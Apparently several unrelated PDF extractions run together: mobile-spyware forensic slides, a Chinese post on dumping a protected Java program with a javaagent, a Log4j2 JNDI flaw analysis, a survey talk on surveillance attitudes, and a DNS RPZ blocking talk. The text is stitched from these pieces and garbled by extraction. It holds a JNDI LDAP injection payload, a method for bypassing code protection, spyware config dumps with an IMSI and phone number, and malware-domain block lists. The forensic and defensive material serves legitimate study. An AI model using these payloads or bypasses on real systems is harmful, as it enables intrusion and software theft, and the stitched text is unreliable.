.....a....I..sizexp....w.....t.. IMG_20120520_133547.jpgt.. IMG_20120520_133902.jpgt.. IMG_20120520_134236.jpgx ....sr..java.u=l.ArrayListx .....a....I..sizexp....w.....t.. IMG_20120520_133547.jpgt.. IMG_20120520_133902.jpgt.. IMG_20120520_134236.jpgx The  MD5  hash  of  this  downloaded file  matches  the  MD5  hash  of  the picture  stored  on  the  phone. /data/data/lookOut.Secure/shared_prefs/configura=ons.xml Contents: •  IMEI •  FTP  connec=on  informa=on •  CDMA •  Phone  Model Tue  May  22  2012 08:21:40  GMT-­‐0400  (EDT) A+ribu0on! FTP  creden=als (names  and  passwords) URL  history  hBp://asd-­‐ms.com/ms5-­‐a/ms5-­‐2.1-­‐above.apk downloads.db  entry  uri:  hBp://asd-­‐ms.com/ms5-­‐1/ms5-­‐2.1-­‐above.apk  Hint:  ms5-­‐2.1-­‐above.apk  _data:  /mnt/sdcard/download/ms5-­‐2.1-­‐above.apk SD  Card  \download\ms5-­‐2.1-­‐above.apk A  couple  of  glitches… On  the  version  we  tested,  we  no=ced: •  E-­‐mail  alerts  were  sent  back  to  a  monitoring  e-­‐mail address;  however,  no  data  appeared  on  the  website. •  Ager  installa=on,  the  baBery  life  dropped  to  8-­‐10  hours from  nearly  20  hours. •  The  website  requires  the  user  to  update  his/her  password. As  a  result,  the  password  stored  on  the  device  needs  to  be updated,  which  means  physical  access  is  required  again. Installed  applica=ons  are  listed  in: /data/data/com.sprint.zone/databases/zone.db Package:  com.re=na22.ms6 Name:  Android  Toolkit Date:  21  May  2012  11:06:57  PDT Version:  5.0 Incidentally,  “Seizure  Service” is  Paraben’s  Device  Seizure. Package:  com.re=na22.ms6 Name:  Android  Toolkit Date:  21  May  2012  11:06:57  PDT Version:  5.0 /data/system/Packages.xml has  a  list  of  installed  apps  and the  set  of  permissions. /data/data/com.re=na22.ms6  /databases  /shared_prefs <?xml  version='1.0'  encoding='u}-­‐8'  standalone='yes'  ?> <map> <boolean  name="KEY_IS_GPS_INFO_CMD"  value="true"  /> <boolean  name="KEY_CELLID_LOG"  value="true"  /> <int  name="KEY_GPS_INTERVAL"  value="15"  /> <string  name="KEY_USER_NAME">Prevail</string> <long  name="KEY_SMS_ID"  value="12"  /> <long  name="KEY_PICTURE_ID"  value="2"  /> <boolean  name="KEY_IS_EMAIL_GPS"  value="true"  /> <string  name="KEY_EMAIL_ID">[email protected]</string> <boolean  name="KEY_IS_SIM_CHANGE_NOTIFICATION"  value="true"  /> <boolean  name="KEY_IS_EMAIL_ALERT"  value="true"  /> <boolean  name="KEY_IS_EMAIL_REPORT"  value="true"  /> <int  name="KEY_XML_UPLOADER_TIME"  value="30"  /> <boolean  name="KEY_LOCK_LOG"  value="true"  /> <long  name="KEY_LAST_REPORTING_TIME"  value="1337649226670"  /> <boolean  name="KEY_IS_SIM_INFO_CMD"  value="true"  /> <string  name="KEY_IMSI_NUMBER">310007038550995</string> <boolean  name="KEY_IS_EMAIL_SMS"  value="true"  /> <boolean  name="KEY_IS_ACTIVE"  value="true"  /> <boolean  name="KEY_WIPE_LOG"  value="true"  /> <long  name="KEY_CONTACT_ID"  value="8"  /> <int  name="KEY_ACCOUNT_PULLER_TIME"  value="345"  /> <boolean  name="KEY_IS_EMAIL_CALL"  value="true"  /> <boolean  name="KEY_GPS_LOG"  value="false"  /> <string  name="KEY_FRIEND_NUM">4109409782</string> <boolean  name="KEY_IS_EMAIL_URL"  value="true"  /> <long  name="KEY_CALL_ID"  value="7"  /> <boolean  name="KEY_IS_FIRST_TIME"  value="false"  /> <int  name="KEY_EMAIL_INTERVAL"  value="15"  /> <string  name="KEY_USER_ID">100062555</string> <boolean  name="KEY_IS_LIVE_PANEL"  value="true"  /> </map> A+ribu0on! Email  ID (Monitoring  Address) <?xml  version='1.0'  encoding='u}-­‐8'  standalone='yes'  ?> <map> <boolean  name="KEY_IS_GPS_INFO_CMD"  value="true"  /> <boolean  name="KEY_CELLID_LOG"  value="true"  /> <int  name="KEY_GPS_INTERVAL"  value="15"  /> <string  name="KEY_USER_NAME">Prevail</string> <long  name="KEY_SMS_ID"  value="12"  /> <long  name="KEY_PICTURE_ID"  value="2"  /> <boolean  name="KEY_IS_EMAIL_GPS"  value="true"  /> <string  name="KEY_EMAIL_ID">[email protected]</string> <boolean  name="KEY_IS_SIM_CHANGE_NOTIFICATION"  value="true"  /> <boolean  name="KEY_IS_EMAIL_ALERT"  value="true"  /> <boolean  name="KEY_IS_EMAIL_REPORT"  value="true"  /> <int  name="KEY_XML_UPLOADER_TIME"  value="30"  /> <boolean  name="KEY_LOCK_LOG"  value="true"  /> <long  name="KEY_LAST_REPORTING_TIME"  value="1337649226670"  /> <boolean  name="KEY_IS_SIM_INFO_CMD"  value="true"  /> <string  name="KEY_IMSI_NUMBER">310007038550995</string> <boolean  name="KEY_IS_EMAIL_SMS"  value="true"  /> <boolean  name="KEY_IS_ACTIVE"  value="true"  /> <boolean  name="KEY_WIPE_LOG"  value="true"  /> <long  name="KEY_CONTACT_ID"  value="8"  /> <int  name="KEY_ACCOUNT_PULLER_TIME"  value="345"  /> <boolean  name="KEY_IS_EMAIL_CALL"  value="true"  /> <boolean  name="KEY_GPS_LOG"  value="false"  /> <string  name="KEY_FRIEND_NUM">4109409782</string> <boolean  name="KEY_IS_EMAIL_URL"  value="true"  /> <long  name="KEY_CALL_ID"  value="7"  /> <boolean  name="KEY_IS_FIRST_TIME"  value="false"  /> <int  name="KEY_EMAIL_INTERVAL"  value="15"  /> <string  name="KEY_USER_ID">100062555</string> <boolean  name="KEY_IS_LIVE_PANEL"  value="true"  /> </map> Last  Repor=ng  Time Mon  May  21  2012 21:13:46  GMT-­‐0400  (EDT) <?xml  version='1.0'  encoding='u}-­‐8'  standalone='yes'  ?> <map> <boolean  name="KEY_IS_GPS_INFO_CMD"  value="true"  /> <boolean  name="KEY_CELLID_LOG"  value="true"  /> <int  name="KEY_GPS_INTERVAL"  value="15"  /> <string  name="KEY_USER_NAME">Prevail</string> <long  name="KEY_SMS_ID"  value="12"  /> <long  name="KEY_PICTURE_ID"  value="2"  /> <boolean  name="KEY_IS_EMAIL_GPS"  value="true"  /> <string  name="KEY_EMAIL_ID">[email protected]</string> <boolean  name="KEY_IS_SIM_CHANGE_NOTIFICATION"  value="true"  /> <boolean  name="KEY_IS_EMAIL_ALERT"  value="true"  /> <boolean  name="KEY_IS_EMAIL_REPORT"  value="true"  /> <int  name="KEY_XML_UPLOADER_TIME"  value="30"  /> <boolean  name="KEY_LOCK_LOG"  value="true"  /> <long  name="KEY_LAST_REPORTING_TIME"  value="1337649226670"  /> <boolean  name="KEY_IS_SIM_INFO_CMD"  value="true"  /> <string  name="KEY_IMSI_NUMBER">310007038550995</string> <boolean  name="KEY_IS_EMAIL_SMS"  value="true"  /> <boolean  name="KEY_IS_ACTIVE"  value="true"  /> <boolean  name="KEY_WIPE_LOG"  value="true"  /> <long  name="KEY_CONTACT_ID"  value="8"  /> <int  name="KEY_ACCOUNT_PULLER_TIME"  value="345"  /> <boolean  name="KEY_IS_EMAIL_CALL"  value="true"  /> <boolean  name="KEY_GPS_LOG"  value="false"  /> <string  name="KEY_FRIEND_NUM">4109409782</string> <boolean  name="KEY_IS_EMAIL_URL"  value="true"  /> <long  name="KEY_CALL_ID"  value="7"  /> <boolean  name="KEY_IS_FIRST_TIME"  value="false"  /> <int  name="KEY_EMAIL_INTERVAL"  value="15"  /> <string  name="KEY_USER_ID">100062555</string> <boolean  name="KEY_IS_LIVE_PANEL"  value="true"  /> </map> A+ribu0on! Friendly  Number (Monitoring  Number) Evidence  of  Jailbreaking Device  Status: Jailbroken Name:  Cydia Iden=fier:  com.saurik.cydia Installed  Applica=ons Name:  Blank Iden=fier:  com.ownspy.daemon DesiredIconState.plist IconState.plist Hidden  Applica=ons: com.saurik.Cydia com.yourcompany.OwnSpyRegister <?xml  version="1.0"  encoding="UTF-­‐8"?> <!DOCTYPE  plist  PUBLIC  "-­‐//Apple//DTD  PLIST  1.0//EN" "hBp://www.apple.com/DTDs/PropertyList-­‐1.0.dtd"> <plist  version="1.0”> <dict> <key>applog</key> <array/> <key>firstPicture</key> <integer>1</integer> <key>firstSync</key> <integer>1</integer> <key>key</key> <string>c48dadfc5bdea0add6c7e7d45f940f2c</string> <key>lastABPersonID</key> <integer>2</integer> <key>lastABValueID</key> <integer>1</integer> <key>lastCHread</key> <integer>1</integer> <key>lastSMSread</key> <integer>5</integer> <key>lastWHDate</key> <real>360668832</real> </dict> </plist> /data/data/com.radioadv/shared_prefs/ A+ribu0on! Unique  Key net.mobileinnova.push.plist <?xml  version="1.0"  encoding="UTF-­‐8"?> <!DOCTYPE  plist  PUBLIC  "-­‐//Apple//DTD  PLIST  1.0//EN" hBp://www.apple.com/DTDs/PropertyList-­‐1.0.dtd> <plist  version="1.0”> <dict> <key>services</key> <array> <string>com.ownspy.daemon</string> </array> </dict> </plist> /var/mobile/Library/preferences/ net.mobileinnova.libhideloca=on.plist <?xml  version="1.0"  encoding="UTF-­‐8"?> <!DOCTYPE  plist  PUBLIC  "-­‐//Apple//DTD  PLIST  1.0//EN" hBp://www.apple.com/DTDs/PropertyList-­‐1.0.dtd> <plist  version="1.0”> <dict> <key>com.ownspy.daemon</key> <true/> </dict> </plist> /AFC  Serviceprivate/var/mobile/Library/Logs/ownspy.log First  run  =me Applica=on  Name App  Serve  URL Thank  you  note URL  and  Reseller  ID A+ribu0on! Unique  Registra=on  Code MD5  Device  ID New  App  on  Device: com.ownspy.daemon Check  registra=on New  SMS  found  and  uploaded. Upda=ng  internal  counter. New  address  book  entries found  and  uploaded. Loca=on Speed Time/Date Loca=on: /Library/OwnShop.app/OwnSpyRegister.app/ Crea=on  Date: 1/10/2012  8:30:23  PM  UTC ownspy_icon.png Date  and  Time: 6/6/2012  UTC com.yourcompany.OwnSpyRegister Files  related  to  OwnSpy: com.ownspy.reload.plist OwnSpyTool.list com.ownspy.process.list ResourceRules.plist _OwnspyTool.plist Info.plist MainWindow.nib OwnSpyRegiserViewController.lib _reseller.plist CodeResources reseller.plist ResourceRules.plist Installa=on.plist CodeResources.plist Loca=ons: /Library/ModuleSubstrate/DynamicLibraries/ /Library/OwnSpy.app/ /private/var/stash/Applica=ons.p0VE5x/SystemService.app/ /System/Library/LaunchDaemons/ BoBom  line: Indicators: •  History  of: •  Downloads  (cache,thumbnails  &  cookies) •  Installa=ons •  .apk  file  on  the  SD  card •  New  databases  within  /data/data/ (configura=on  and  log  files) •  New  services  running  on  the  device •  Monitoring  number/website •  Roo=ng/jailbreaking  of  the  phone spy  vs.  spy examining  spyware  on  mobile  devices michael  robinson  |  christopher  taylor Zarious  @  zarious.deviantart.com [email protected]
pdf
1 脱壳⼩⼦-java anti-decompiler保护脱壳 前⾔ 脱壳思路 脱壳效果 开源地址 有⼀天,脚本⼩⼦想开发⼀个⼯具,但脚本⼩⼦⼜不想从头构思设计代码框架,就找找业界有没有 好的⼯具能不能抄抄。终于在脚本⼩⼦快乐星球⾥,找到⼀个看起来还不错的⼯具。但存在⼀个问题, 这个⼯具有代码保护壳。。。脚本⼩⼦本来想当裁缝⼩⼦的,可没想到还得先变成脱壳⼩⼦才⾏。 正⾯硬刚解密算法是⼀种思路,但所需要花费的时间太⻓,性价⽐不是很⾼,并且由于笔者太菜 了,浅尝了下,发现不太容易搞定。这⾥采⽤CSAgent的形式,通过注⼊⽬标程序,替换壳代码的解密 加载过程,直接将解密后的代码写到⽂件当中。 解密加载代码在JavaLauncherIdea$Decoder的loadJars⽅法当中。 其中类CipherInputStream的作⽤就是读取加密状态的⽂件,所以我们只需要在这⾥将 CiperInputStream获取的⽂件流读取出来,然后写⼊到本地⽂件即可。 前⾔ 脱壳思路 2 这⾥有个⼩坑,就是在壳代码当中有个判断启动java进程的命令⾏参数当中是否包含- XX:+DisableAttachMechanis,并且这个选项是否是⽣效的,代码位置在JavaLauncherIdea的main⽅法 中。 要是启动参数当中没有加⼊这个选项或者没有⽣效,就会创建新JVM进程,并且在新进程启动参数 中添加-XX:+DisableAttachMechanis。 Java 复制代码 if (jvmArgs.contains("-XX:+DisableAttachMechanism") && jvmArgs.lastIndexOf("-XX:-DisableAttachMechanism") < jvmArgs.lastIndexOf("-XX:+DisableAttachMechanism")) {            JavaLauncherIdea launcher = new JavaLauncherIdea();            try {                launcher.run(args);           } catch (Throwable var6) {                JOptionPane.showMessageDialog((Component)null, var6.getMessage(), "Error", 0);                System.exit(0);           } } 1 2 3 4 5 6 7 8 9 10 3 所以我们在使⽤javaagent时带上-XX:+DisableAttachMechanis这个启动选项。 这⾥开发脱壳agent⽩嫖了Twi1ight师傅得CSAgent的模板代码,感谢⼤佬的代码,脚本⼩⼦表示⽩ 嫖真⾹。最后脱壳后的⽂件会保存在java运⾏的当前⽬录下,名字以xxx_unpacked.jar命名 https://github.com/yougar0/AntiDecAgent 脱壳效果 开源地址 Java 复制代码 java -javaagent:CSAgent-1.4-SNAPSHOT-jar-with-dependencies.jar - XX:+DisableAttachMechanism -jar xxx.jar 1
pdf
Log4j2 JNDI author: flagT lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:223, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config) log:485, LoggerConfig (org.apache.logging.log4j.core.config) log:460, LoggerConfig (org.apache.logging.log4j.core.config) log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) toSerializable:345, PatternLayout$PatternSerializer PatternLayouttoSerializableConvertereventlog4j2 MessageFactorymessageeventmessageevent MessagePatternConverter formatlookuplookup Log4j - Log4j 2 Lookups lookuplookupformat${} lookupreplace main:9, Test StrSubstitutor substituteresolveVariable Interpolatorlookupprefix lookupstrLookupMaplookuplookup mapjndiLookuplookup lookupjndiManagerlookup log4j2.formatMsgNoLookupstrue MessagePatternConverter formatreplace formatMsgNoLookupsfalse msg StringBuilderFormattable result null msg event.getMessage() Message StringBuilderFormattable interfaceMessage StringBuilderFormattableMessage LocalizedMessagelog4jMessage MessageFactoryLocalizedMessageFactorygetlogger MessageFactoryResourceBundle AuthResources resourceBundle = new AuthResources(); LocalizedMessageFactory localizedMessageFactory = new LocalizedMessageFactory(resourceBundle); Logger logger = LogManager.getLogger(Test.class,localizedMessageFactory); logger.error("${jndi:ldap://127.0.0.1:1111/Exp1}"); lookup MessageFactory log4j2.formatMsgNoLookupstruegetlogger MessageFactoryLocalizedMessageFactory MessageFactory lo4j2.messageFactory 2.15.0-rc1 2.15.0lookuppattern%msg{lookups}%n lookup JndiManagerlookupjava ldapldapsURI 2.15.0-rc2 URIlookup 2.15.1-rc1 JndiLookuplog4j2.enableJndifalselookupJndiLookup 2.16.0-rc1 lookup
pdf
rage against the Suggy (AKA Chris Sumner), Online Privacy Foundation, DEF CON 25 Draft: V0.2 – Updated slides (with notes) will be available shortly after DEF CON machine 2011 2011 2012 2011 2012 2013 2011 2012 2013 2016 1. Why are people so divided? Nothing to Hide, Nothing to Fear BLACK & WHITE Gr Grey Grey Grey Grey Grey Grey Grey Grey Grey Grey Grey Grey Grey Grey Grey Vs Vs Vs Vs Vs “Nature provides a first draft, which experience then revises” (Marcus, 2004) The F-Scale and RWA Scale The F-Scale and RWA Scale “Homosexuals and feminists should be praised for being brave enough to defy “traditional family values.” Vs obedience good manners respect for elders to be well-behaved Most important for a child to have? Vs Vs Vs Vs self-reliance curiosity independence to be considerate obedience good manners respect for elders to be well-behaved Most important for a child to have? Vs Vs Vs Study 1 Surveys over time A1 A2 B1 B2 March April May 175 998 663 576 N = 2,412 “You have nothing to fear, if you have nothing to hide” A1 B1 A2 B2 A1 B1 A2 B2 A1 B1 A2 B2 “It is acceptable that immigrants and visitors from potentially dangerous countries should have to reveal their social media accounts passwords to UK border agents.” A1 B1 A2 B2 “The dark net should be shut down” A1 B1 A2 B2 “Companies should be not be allowed to develop technologies that prevent law enforcement from accessing your online conversations.” Surveys over time A1 A2 B1 B2 March April May 175 998 663 576 Effect of attacks Vasilopoulos, P., Marcus, G. E., & Foucault, M. (2015). 0% 10% 20% 30% 40% 50% 60% 70% All Agree with "nothing to hide" Support wiretapping Ban encryption Close dark net Pre attack Post attack * ** Survey A1 v A2 0% 10% 20% 30% 40% 50% 60% 70% All Agree with "nothing to hide" Support wiretapping Support extreme vetting Pre attack Post attack Survey B1 v B2 (B2 conducted 41 days after attack) Opinions Nothing to hide, nothing to fear Access communications without a warrant Shut down dark net Ban counter- surveillance tech Disclose social media account passwords to border agents Before After Before After Male Female 18 35 55+ 18 35 55+ 18 35 55+ 18 35 55+ Nothing to hide, nothing to fear Access communications without a warrant Shut down dark net Ban counter-surveillance tech Disclose social media account passwords to border agents Odds Ratio – Authoritarianism Pre attack (A1) Post attack (A2) Authoritarianism (Mean) Post attack (B2) Pre attack (B1) Nothing to hide, nothing to fear. Insert slide showing difference by age and sex 2. What Influences Their Views? High Low Authoritarianism “Ten steps closer to the panic button” (Altemeyer, 1996) Far Near Proximity to Panic Button Authoritarianism Support for anti-terrorist policies threat increases [support] among those HIGHER in authoritarianism Authoritarianism Support for anti-terrorist policies threat increases [support] among those LOWER in authoritarianism Authoritarianism High Threat Support for anti-terrorist policies High Threat Both are right Authoritarianism Support for anti-terrorist policies Anger Anxiety what good are high-minded principles if you are dead? “ “ Study 2 How worried are you that you personally might become a victim of a terrorist attack?? Study 2 A1 B1 A2 B2 Probability Authoritarianism A1 B1 A2 B2 Nothing to hide, nothing to fear. Probability Authoritarianism A1 B1 A2 B2 Wiretapping Probability Authoritarianism A1 B1 A2 B2 Ban Anti-Surveillance Tech Probability Authoritarianism A1 B1 A2 B2 Extreme Vetting Probability Probability A1 B1 A2 B2 Shut Down the Dark Net Authoritarianism “Like reading a book by a fool” 3. How Effective is Psychographic Targeting? Interests, Age, Sex, Geography Personality Photo Credit: Shannon Kintner | Daily Texan Staff Professor Sam Gosling Author of Snoop O C E A N Big 5 Big 5 & Authoritarianism O C E A N High Low O C E A N High Low Big 5 & Authoritarianism PreferenceTool.com Facebook Interests Replace with better image Facebook Interests Replace with better image Liberalism, The Guardian Vs Conservatism, Mail Online Age and Sex Openness Conscientiousness Age and Sex Openness Conscientiousness Age and Sex Males of any age Females under 35 Based on our findings in Brexit Vs Males of any age Females over 35 Need to obtain image rights/ find a different image Geography Heat maps of the geographical distribution of personality in Great Britain by LAD O C E A N Rentfrow PJ, Jokela M, Lamb ME (2015) Regional Personality Differences in Great Britain. PLOS ONE 10(3): e0122245. https://doi.org/10.1371/journal.pone.0122245 http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0122245 Conscientiousness Openness (R) High Auth Low Auth Conscientiousness Openness (R) High Auth Low Auth Conscientiousness Openness (R) High Auth Low Auth Conscientiousness Openness (R) High Auth Low Auth Conscientiousness Openness (R) High Auth Low Auth Cambridge, Hackney, Liverpool, Manchester, Edinburgh Based on Rentrow’s data Vs Basildon, Chelmsford Dudley Thurrock, Mansfield, Market Weighton, Rotherham, Swindon Predicted Vote Correctly classified 78.16% Actual Vote 38% 32% 26% 46% 61% Level of Agreement % people who agree with “Nothing to Hide, Nothing to Fear” 38% 32% 26% 46% 61% Level of Agreement % people who agree with “Nothing to Hide, Nothing to Fear” % people who agree with “Nothing to Hide, Nothing to Fear” 38% 32% 25% 46% 61% Level of Agreement *** % people who agree with “Nothing to Hide, Nothing to Fear” * % people who agree with “Nothing to Hide, Nothing to Fear” 36% 32% 25% 46% 61% Level of Agreement *** % people who agree with “Nothing to Hide, Nothing to Fear” % people who agree with “Nothing to Hide, Nothing to Fear” 4. How Persuasive Are Targeted Ads? Image with permission from : Oscar Bolton Green “Certain words ARE loaded” “If you know the personality of the people you’re you’re targeting, you can nuance your messaging to resonate more effectively with those key audience groups” —Alexander Nix, Cambridge Analytica Hirsh, Kang & Bodenhausen Phone study (2012) With XPhone, you’ll always be where the excitement is Hirsh, Kang & Bodenhausen Phone study (2012) Stay safe and secure with the Xphone Using The Big Five For Customised Advertising On Facebook Matz, S., Popov, V., Kosinski, M. & Stillwell, D (2015). Using The Big Five For Customised Advertising On Facebook. Poster session presented at 16th Annual Meeting of the Society for Personality and Social Psychology, Long Beach, CA, USA Source: Personality-Matched Ads: How Hilton Worldwide Effectively Personalized Its Marketing Messages https://marketingexperiments.com/digital-advertising/hilton-worldwide-personality-matched-ads Study 4 Image with permission from : Oscar Bolton Green Maslow x x X Safety & Security Survival (food, shelter etc) Vs High Authoritarian Pro surveillance High Authoritarian Anti surveillance Low Authoritarian Pro surveillance Low Authoritarian Anti surveillance 1. This advertisement reflects my opinions. 2. I find this advertisement to be persuasive. i.e. you are more likely to agree with this opinion than before seeing the advertisement. 3. Overall, I like this advertisement. 4. I would probably like or share this on Facebook. 0.445 0.344 -0.040 -0.335 -0.4 -0.3 -0.2 -0.1 0.0 0.1 0.2 0.3 0.4 0.5 Does persuasion work? “Those who have received a postal letter from the interest group which argued for the benefits of TTIP have considerably more favourable(sic) attitudes towards this trade deal.” 5. Debunking Propaganda Control Questions A – Control Condition #1 Group B – Control Condition #2 Rash Got Worse Rash Got Better Rash Got Better Rash Got Worse Patients who did use the new skin cream 223 75 Patients who did use the new skin cream 223 75 Patients who did NOT use the new skin cream 107 21 Patients who did NOT use the new skin cream 107 21 A – People who used the skin cream were more likely to get BETTER than those didn’t A – People who used the skin cream were more likely to get BETTER than those didn’t B – People who used the skin cream were more likely to get WORSE than those didn’t B – People who used the skin cream were more likely to get WORSE than those didn’t 20% 60% 0% 40% EU Referendum Voters Skin Cream Immigration A – Immigration Condition #1 Group B – Immigration Condition #2 Increase in Crime Decrease in Crime Decrease in Crime Increase in Crime Cities with the highest levels of immigration 223 75 Cities with the highest levels of immigration 223 75 Cities with the lowest levels of immigration 107 21 Cities with the lowest levels of immigration 107 21 A - Cities with the highest immigration were more likely to have LESS crime than those didn’t A – Cities with the highest immigration were more likely to have LESS crime than those didn’t B – Cities with the highest immigration were more likely to have MORE crime than those didn’t B – Cities with the highest immigration were more likely to have MORE crime than those didn’t 20% 60% 0% 40% EU Referendum Voters Immigration 20% 60% 0% 40% EU Referendum Voters Immigration Study 5 Decrease Increase 20% 40% 60% 0% Skin Cream Skin Cream “Nothing to Hide, Nothing to Fear” Skin Cream Decrease Increase 20% 40% 60% 0% Skin Cream “Nothing to Hide, Nothing to Fear” Indicate whether the research shows that online surveillance is likely to increase the terrorist threat or decrease it. C –Threat Condition #1 Group D –Threat Condition #2 Increase in Threat Decrease in Threat Decrease in Threat Increase in Threat Countries with LEAST pervasive online surveillance 223 75 Countries with LEAST pervasive online surveillance 223 75 Countries with MOST pervasive online surveillance 107 21 Countries with MOST pervasive online surveillance 107 21 A – Countries with the LEAST pervasive online surveillance were more likely to see a DECREASE in the terrorist threat A – Countries with the LEAST pervasive online surveillance were more likely to see a DECREASE in the terrorist threat B – Countries with the LEAST pervasive online surveillance were more likely to see a INCREASE in the terrorist threat B – Countries with the LEAST pervasive online surveillance were more likely to see an INCREASE in the terrorist threat Decrease Increase Decrease 20% 40% 60% 0% Skin Cream Surveillance “Nothing to Hide, Nothing to Fear” Countries with the LEAST pervasive online surveillance Decrease Increase Decrease Increase 20% 40% 60% 0% Surveillance Skin Cream Countries with the LEAST pervasive online surveillance “Nothing to Hide, Nothing to Fear” Decrease Increase Decrease Increase 20% 40% 60% 0% Skin Cream Surveillance Countries with the LEAST pervasive online surveillance “Nothing to Hide, Nothing to Fear” Decrease Increase Decrease Increase 20% 40% 60% 0% Skin Cream Surveillance Countries with the LEAST pervasive online surveillance “Nothing to Hide, Nothing to Fear” “The Reasoning Process Is More Like a Lawyer Defending a Client Than a Judge or Scientist Seeking Truth” (Haidt, 2001) Conclusions & Discussion The End [email protected] Slides I didn’t use… Cambridge analytica 8% uplift in voter intent (for Trump) “Regardless of its other uses, some are worried by politicians using psychological profiling. Peter Kinderman, professor of clinical psychology at the University of Liverpool, notes that politicians have used psychological tricks throughout history. But if they want to use psychological profiling they should obtain informed consent, as scientific researchers and clinicians are required to do. ‘They should be honest and we should be aware.’” For top 10% 75% of the predicted individuals were really in the top 10% Wald, R., Khoshgoftaar, T, M., and Sumner, C. (2012). Machine Prediction of Personality from Facebook Profiles, 13th IEEE International Conference on Information Reuse and Integration, 2012, pp. 109-115. DataSelfie.it
pdf
Building a Public RPZ Service to Protect the World’s Consumers John Bambenek, Manager of Threat Systems Fidelis Cybersecurity The content of this presentation can be considered TLP:WHITE. I will identify any specific data points I discuss that are more sensitive and shouldn’t be disclosed as we go. © Fidelis Cybersecurity Introduction • Manager of Threat Systems with Fidelis Cybersecurity • Part-Time Faculty at University of Illinois in CS • Handler at the SANS Internet Storm Center • Provider of open-source intelligence feeds… DGAs!  • Run several takedown oriented groups and surveil threats 2 © Fidelis Cybersecurity The Problem Illustrated (from Virustotal) 3 © Fidelis Cybersecurity The Reality  There is a much smaller set of actual malware tools, EKs, and criminal service providers.  Problem: Most cybercrime impacts consumer networks that are unprotected by security vendors, enterprise SOCs, etc.  Consumers generally will not secure their devices, pay for security, or clean up malware infections except in rate cases. 4 © Fidelis Cybersecurity Good News • We have tons of open-source data, blocklists, and tracking systems out there publishing near-time data on threats. • My DGA feeds • Malware Domains • Abuse.ch trackers • Phishtank • Literally hundreds more (and that’s just Western ones) 5 © Fidelis Cybersecurity Requirements to Protect Consumers • Must have no or extremely low false positives • Compromised websites • Shared hosting • Must not impact the user experience • Must not increase cost • Must be automated to deploy/update • Ideally include some ability for security awareness of infected users 6 © Fidelis Cybersecurity Two Partial Solutions • Almost all malware requires DNS at some point in the flow of traffic. • Every piece of malware wants to “talk somewhere”. • Solution: • RPZ • Auto-generated Firewall Rules 7 © Fidelis Cybersecurity RPZ Primer • DNS Response Policy Zones are, in essence, a DNS firewall. On a resolver, you create zone files for things you want to protect constituents from. • Instead of getting www.badsite.com, they get something else depending on what you define. 8 © Fidelis Cybersecurity RPZ Indicator Types • Things RPZ can detect on: • Hostnames and Domains • The resolved IP address • The nameserver hostnames used • The nameserver IP addresses used 9 © Fidelis Cybersecurity RPZ actions • You can return NXDOMAIN • You can log the query but let it happen • You can modify the query to point the constituent to a “walled garden”. • Instead of going to www.badsite.com, they go to an IP you define. • You can use this to tell the victim they are infected, do some security awareness, and work on cleaning up infections. 10 © Fidelis Cybersecurity RPZ Example $TTL 60 @ IN SOA localhost. root.localhost. ( 282 ; serial 3H ; refresh 1H ; retry 1W ; expiry 1H) ; minimum IN NS localhost. oysjtyymfwbhfxv.com CNAME . *.oysjtyymfwbhfxv.com CNAME . ccvjoddsmsoheev.net CNAME . *.ccvjoddsmsoheev.net CNAME . paunsiqcihxtmgv.biz CNAME . *.paunsiqcihxtmgv.biz CNAME . 11 © Fidelis Cybersecurity RPZ Resolved IP address example # 5.8.37.0/24 (Listed in Spamhaus DROP List SBL284078) 24.0.37.8.5.rpz-ip CNAME . # 36.93.0.0/16 (Listed in Spamhaus DROP List SBL310189) 16.0.0.93.36.rpz-ip CNAME . 12 © Fidelis Cybersecurity RPZ Nameserver examples # Block ns1.bambenekconsulting.com ns1.bambenekconsulting.com.rpz-nsdname CNAME . # Block nameservers at 8.8.8.0/24 24.8.8.8.8.rpz-nsip CNAME . 13 © Fidelis Cybersecurity Sounds good… what’s the catch? • RPZ is pretty straight-forward to set up… the problem is getting data. • We have dozens of hostname/domain lists. • We have hundreds of IP lists. • Some are documented, many are not. Few have any real confidence indicators. • What about false positives? Compromised sites? Shared infrastructure? 14 © Fidelis Cybersecurity DGA Example  Usually a complex math algorithm to create pseudo-random but predictable domain names.  Now instead of a static list, adversary has a dynamic list of hundreds or thousands of domains and adversary only needs to have a couple registered at a time. • newfandultimati.cc,Domain used by tinba,2017-08-23 16:00,http://osint.bambenekconsulting.com/manual/tinba.txt • ybguvvvvcduv.trade,Domain used by tinba,2017-08-23 16:00,http://osint.bambenekconsulting.com/manual/tinba.txt 15 © Fidelis Cybersecurity DGA Difficulties • Word-list based DGAs: • windbearboxreceive.com, Domain used by matsnu DGA • winner-care-sir.com, 